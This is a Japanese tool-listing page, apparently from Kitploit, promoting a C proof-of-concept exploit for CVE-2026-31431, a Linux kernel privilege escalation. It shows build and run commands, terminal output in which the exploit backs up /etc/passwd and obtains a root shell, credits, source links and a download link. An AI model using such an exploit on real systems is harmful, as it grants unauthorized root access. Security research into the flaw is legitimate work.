copy-fail-CVE-2026-31431 — CVE-2026-31431（Linuxカーネルの権限昇格の脆弱性）向けのC言語ベースの概念実証エクスプロイトで、影響を受けるシステム上でrootシェルへのアクセスを提供します。 | Kitploit

CVE-2026-31431 Copy Fail エクスプロイト

著者: pyroceper
テスト環境: Ubuntu 25.10 x86_64

$ make
$ ./exploit
[ * ] Detected kernel: 6.17.0
[ * ] Making backup of /etc/passwd to /tmp
[ * ] Backup saved as /tmp/passwd.bak
[ * ] Obtaining root shell...
#
# id
uid=0(pwn) gid=0(root) groups=0(root)
# whoami
pwn

クレジットと参考文献:

脆弱性の最初の発見: Taeyang Lee および Xint Code Research Team
Python 実装: theori-io (https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/main/copy_fail_exp.py)
C 実装: tgies (https://github.com/tgies/copy-fail-c)
技術記事: https://security.utoronto.ca/advisories/copy-fail-linux-kernel-lpe-and-container-escape/

ツールをダウンロード